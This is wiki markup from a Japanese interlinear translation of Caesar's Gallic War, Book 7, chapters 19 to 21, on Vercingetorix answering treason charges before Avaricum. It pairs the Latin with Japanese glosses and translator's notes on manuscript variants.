**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
